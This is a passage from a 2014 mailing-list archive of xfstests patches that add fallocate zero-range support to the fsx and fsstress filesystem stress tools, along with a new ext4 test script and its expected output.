sys/fs/xfs_itable.h \ diff --git a/ltp/fsstress.c b/ltp/fsstress.c index c56f168..7dec7c6 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -27,13 +27,6 @@ #ifdef HAVE_LINUX_FIEMAP_H #include #endif -#ifdef FALLOCATE -#include -#ifndef FALLOC_FL_PUNCH_HOLE -/* Copy-paste from linux/falloc.h */ -#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ -#endif -#endif #ifndef HAVE_ATTR_LIST #define attr_list(path, buf, size, flags, cursor) (errno = -ENOSYS, -1) #endif @@ -2085,7 +2078,7 @@ dwrite_f(int opno, long r) void fallocate_f(int opno, long r) { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H int e; pathname_t f; int fd; @@ -2507,7 +2500,7 @@ mknod_f(int opno, long r) void punch_f(int opno, long r) { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H int e; pathname_t f; int fd; diff --git a/ltp/fsx.c b/ltp/fsx.c index 2f1e3e8..c36a038 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -33,9 +33,6 @@ #ifdef AIO #include #endif -#ifdef FALLOCATE -#include -#endif #ifndef MAP_FILE # define MAP_FILE 0 @@ -882,7 +879,7 @@ do_punch_hole(unsigned offset, unsigned length) } #endif -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H /* fallocate is basically a no-op unless extending, then a lot like a truncate */ void do_preallocate(unsigned offset, unsigned length) @@ -1139,7 +1136,7 @@ usage(void) " -A: Use the AIO system calls\n" #endif " -D startingop: debug output starting at specified operation\n" -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H " -F: Do not use fallocate (preallocation) calls\n" #endif #ifdef FALLOC_FL_PUNCH_HOLE @@ -1296,7 +1293,7 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) void test_fallocate() { -#ifdef FALLOCATE +#ifdef HAVE_LINUX_FALLOC_H if (!lite && fallocate_calls) { if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { if(!quiet) @@ -1306,7 +1303,7 @@ test_fallocate() ftruncate(fd, 0); } } -#else /* ! FALLOCATE */ +#else /* ! HAVE_LINUX_FALLOC_H */ fallocate_calls = 0; #endif diff --git a/src/global.h b/src/global.h index e6a2c2b..8180f66 100644 --- a/src/global.h +++ b/src/global.h @@ -149,4 +149,29 @@ #include #endif +#ifdef HAVE_LINUX_FALLOC_H +#include + +#ifndef FALLOC_FL_KEEP_SIZE +#define FALLOC_FL_KEEP_SIZE 0x01 +#endif + +#ifndef FALLOC_FL_PUNCH_HOLE +#define FALLOC_FL_PUNCH_HOLE 0x02 #endif + +#ifndef FALLOC_FL_NO_HIDE_STALE +#define FALLOC_FL_NO_HIDE_STALE 0x04 +#endif + +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + +#ifndef FALLOC_FL_ZERO_RANGE +#define FALLOC_FL_ZERO_RANGE 0x10 +#endif + +#endif /* HAVE_LINUX_FALLOC_H */ + +#endif /* GLOBAL_H */ -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 881667F3F for ; Fri, 28 Feb 2014 10:11:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77D418F8052 for ; Fri, 28 Feb 2014 08:11:20 -0800 (PST) X-ASG-Debug-ID: 1393603879-04cb6c567810bc90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fjOvrrXQD7Kqahfr for ; Fri, 28 Feb 2014 08:11:19 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBIIk024721 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:18 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZU012824; Fri, 28 Feb 2014 11:11:17 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 6/8] fsstress: translate flags in fiemap_f Date: Fri, 28 Feb 2014 17:11:03 +0100 X-ASG-Orig-Subj: [PATCH 6/8] fsstress: translate flags in fiemap_f Message-Id: <1393603865-26198-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603879 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Translate flags in fiemap_f output to human readable strings. Signed-off-by: Lukas Czerner --- ltp/fsstress.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 24864db..869a8ac 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -2252,6 +2252,18 @@ fdatasync_f(int opno, long r) free_pathname(&f); close(fd); } + +#ifdef HAVE_LINUX_FIEMAP_H +struct print_flags fiemap_flags[] = { + { FIEMAP_FLAG_SYNC, "SYNC"}, + { FIEMAP_FLAG_XATTR, "XATTR"}, + { -1, NULL} +}; + +#define translate_fiemap_flags(mode) \ + ({translate_flags(mode, "|", fiemap_flags);}) +#endif + void fiemap_f(int opno, long r) { @@ -2314,9 +2326,10 @@ fiemap_f(int opno, long r) e = ioctl(fd, FS_IOC_FIEMAP, (unsigned long)fiemap); if (v) - printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld %x %d\n", + printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld (%s) %d\n", procid, opno, f.path, st, (long long)fiemap->fm_start, - (long long) fiemap->fm_length, fiemap->fm_flags, e); + (long long) fiemap->fm_length, + translate_fiemap_flags(fiemap->fm_flags), e); free(fiemap); free_pathname(&f); close(fd); -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 151F37F5A for ; Fri, 28 Feb 2014 10:11:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8A919AC009 for ; Fri, 28 Feb 2014 08:11:21 -0800 (PST) X-ASG-Debug-ID: 1393603880-04cb6c567510bc90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4DHy1UUhm70LeWx0 for ; Fri, 28 Feb 2014 08:11:20 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBJs6003226 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:20 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZV012824; Fri, 28 Feb 2014 11:11:18 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx Date: Fri, 28 Feb 2014 17:11:04 +0100 X-ASG-Orig-Subj: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx Message-Id: <1393603865-26198-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603880 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds fallocate FALLOC_FL_ZERO_RANGE support for fsx. Signed-off-by: Lukas Czerner --- ltp/fsx.c | 128 +++++++++++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 98 insertions(+), 30 deletions(-) diff --git a/ltp/fsx.c b/ltp/fsx.c index c36a038..5d6d198 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -69,6 +69,7 @@ int logcount = 0; /* total ops */ * TRUNCATE: - 4 * FALLOCATE: - 5 * PUNCH HOLE: - 6 + * ZERO RANGE: - 7 * * When mapped read/writes are disabled, they are simply converted to normal * reads and writes. When fallocate/fpunch calls are disabled, they are @@ -92,7 +93,8 @@ int logcount = 0; /* total ops */ #define OP_TRUNCATE 4 #define OP_FALLOCATE 5 #define OP_PUNCH_HOLE 6 -#define OP_MAX_FULL 7 +#define OP_ZERO_RANGE 7 +#define OP_MAX_FULL 8 /* operation modifiers */ #define OP_CLOSEOPEN 100 @@ -139,6 +141,7 @@ int seed = 1; /* -S flag */ int mapped_writes = 1; /* -W flag disables */ int fallocate_calls = 1; /* -F flag disables */ int punch_hole_calls = 1; /* -H flag disables */ +int zero_range_calls = 1; /* -z flag disables */ int mapped_reads = 1; /* -R flag disables it */ int fsxgoodfd = 0; int o_direct; /* -Z */ @@ -317,6 +320,14 @@ logdump(void) lp->args[0] + lp->args[1]) prt("\t******PPPP"); break; + case OP_ZERO_RANGE: + prt("ZERO 0x%x thru 0x%x\t(0x%x bytes)", + lp->args[0], lp->args[0] + lp->args[1] - 1, + lp->args[1]); + if (badoff >= lp->args[0] && badoff < + lp->args[0] + lp->args[1]) + prt("\t******ZZZZ"); + break; case OP_SKIPPED: prt("SKIPPED (no operation)"); break; @@ -879,6 +890,65 @@ do_punch_hole(unsigned offset, unsigned length) } #endif +#ifdef FALLOC_FL_ZERO_RANGE +void +do_zero_range(unsigned offset, unsigned length) +{ + unsigned end_offset; + int mode = FALLOC_FL_ZERO_RANGE; + int keep_size; + + if (length == 0) { + if (!quiet && testcalls > simulatedopcount) + prt("skipping zero length zero range\n"); + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, length); + return; + } + + keep_size = random() % 2; + + end_offset = keep_size ? 0 : offset + length; + + if (end_offset > biggest) { + biggest = end_offset; + if (!quiet && testcalls > simulatedopcount) + prt("zero_range to largest ever: 0x%x\n", end_offset); + } + + /* + * last arg matches fallocate string array index in logdump: + * 0: allocate past EOF + * 1: extending prealloc + * 2: interior prealloc + */ + log4(OP_ZERO_RANGE, offset, length, (end_offset > file_size) ? (keep_size ? 0 : 1) : 2); + + if (testcalls <= simulatedopcount) + return; + + if ((progressinterval && testcalls % progressinterval == 0) || + (debug && (monitorstart == -1 || monitorend == -1 || + end_offset <= monitorend))) { + prt("%lu zero\tfrom 0x%x to 0x%x, (0x%x bytes)\n", testcalls, + offset, offset+length, length); + } + if (fallocate(fd, mode, (loff_t)offset, (loff_t)length) == -1) { + prt("%pzero range: %x to %x\n", offset, length); + prterr("do_zero_range: fallocate"); + report_failure(161); + } + + memset(good_buf + offset, '\0', length); +} + +#else +void +do_zero_range(unsigned offset, unsigned length) +{ + return; +} +#endif + #ifdef HAVE_LINUX_FALLOC_H /* fallocate is basically a no-op unless extending, then a lot like a truncate */ void @@ -1047,6 +1117,12 @@ test(void) goto out; } break; + case OP_ZERO_RANGE: + if (!zero_range_calls) { + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, size); + goto out; + } + break; } switch (op) { @@ -1085,6 +1161,10 @@ test(void) TRIM_OFF_LEN(offset, size, file_size); do_punch_hole(offset, size); break; + case OP_ZERO_RANGE: + TRIM_OFF_LEN(offset, size, file_size); + do_zero_range(offset, size); + break; default: prterr("test: unknown operation"); report_failure(42); @@ -1140,7 +1220,10 @@ usage(void) " -F: Do not use fallocate (preallocation) calls\n" #endif #ifdef FALLOC_FL_PUNCH_HOLE -" -H: Do not use punch hole calls\n" +" -H: Do not use punch hole calls\n" +#endif +#ifdef FALLOC_FL_ZERO_RANGE +" -E: Do not use zero range calls\n" #endif " -L: fsxLite - no file creations & no file size changes\n\ -N numops: total # operations to do (default infinity)\n\ @@ -1290,40 +1373,21 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) #endif -void -test_fallocate() +int +test_fallocate(int mode) { #ifdef HAVE_LINUX_FALLOC_H + int ret = 0; if (!lite && fallocate_calls) { - if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { + if (fallocate(fd, mode, 0, 1) && errno == EOPNOTSUPP) { if(!quiet) warn("main: filesystem does not support fallocate, disabling\n"); - fallocate_calls = 0; } else { + ret = 1; ftruncate(fd, 0); } } -#else /* ! HAVE_LINUX_FALLOC_H */ - fallocate_calls = 0; -#endif - -} - -void -test_punch_hole() -{ -#ifdef FALLOC_FL_PUNCH_HOLE - if (!lite && punch_hole_calls) { - if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, - 0, 1) && errno == EOPNOTSUPP) { - if(!quiet) - warn("main: filesystem does not support fallocate punch hole, disabling"); - punch_hole_calls = 0; - } else - ftruncate(fd, 0); - } -#else /* ! PUNCH HOLE */ - punch_hole_calls = 0; + return ret; #endif } @@ -1345,7 +1409,7 @@ main(int argc, char **argv) setvbuf(stdout, (char *)0, _IOLBF, 0); /* line buffered stdout */ - while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHLN:OP:RS:WZ")) + while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHzLN:OP:RS:WZ")) != EOF) switch (ch) { case 'b': @@ -1445,6 +1509,9 @@ main(int argc, char **argv) case 'H': punch_hole_calls = 0; break; + case 'z': + zero_range_calls = 0; + break; case 'L': lite = 1; break; @@ -1590,8 +1657,9 @@ main(int argc, char **argv) } else check_trunc_hack(); - test_fallocate(); - test_punch_hole(); + fallocate_calls = test_fallocate(0); + punch_hole_calls = test_fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE); + zero_range_calls = test_fallocate(FALLOC_FL_ZERO_RANGE); while (numops == -1 || numops--) test(); -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DDE87F5A for ; Fri, 28 Feb 2014 10:11:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 14DDC8F8052 for ; Fri, 28 Feb 2014 08:11:23 -0800 (PST) X-ASG-Debug-ID: 1393603881-04cb6c567710bca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id StjXGRf6pMH7QzK5 for ; Fri, 28 Feb 2014 08:11:22 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBLDK003237 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:21 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZW012824; Fri, 28 Feb 2014 11:11:20 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 8/8] ext4/001: Add ext4 specific test for fallocate zero range Date: Fri, 28 Feb 2014 17:11:05 +0100 X-ASG-Orig-Subj: [PATCH 8/8] ext4/001: Add ext4 specific test for fallocate zero range Message-Id: <1393603865-26198-8-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603881 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is based on xfs/242. However it's better to make it file system specific because the range can be zeroes either directly by writing zeroes, or converting to unwritten extent, so the actual result might differ from file system to file system. Also xfs results differ depending on the page size which is not the case for ext4. Signed-off-by: Lukas Czerner --- tests/ext4/001 | 64 ++++++++++ tests/ext4/001.out | 337 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/group | 1 + 3 files changed, 402 insertions(+) create mode 100755 tests/ext4/001 create mode 100644 tests/ext4/001.out diff --git a/tests/ext4/001 b/tests/ext4/001 new file mode 100755 index 0000000..d575d9a --- /dev/null +++ b/tests/ext4/001 @@ -0,0 +1,64 @@ +#! /bin/bash +# FS QA Test No. 001 +# +# Test fallocate FALLOC_FL_ZERO_RANGE +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs ext4 +_supported_os Linux +_require_xfs_io_falloc "fzero" + +testfile=$TEST_DIR/001.$$ + +# Standard zero range tests +_test_generic_punch falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation zero range tests +_test_generic_punch -d falloc fzero fzero fiemap _filter_fiemap $testfile + +# Multi zero range tests +_test_generic_punch -k falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation multi zero range tests +_test_generic_punch -d -k falloc fzero fzero fiemap _filter_fiemap $testfile + +status=0 ; exit diff --git a/tests/ext4/001.out b/tests/ext4/001.out new file mode 100644 index 0000000..212c247 --- /dev/null +++ b/tests/ext4/001.out @@ -0,0 +1,337 @@ +QA output created by 001 + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data 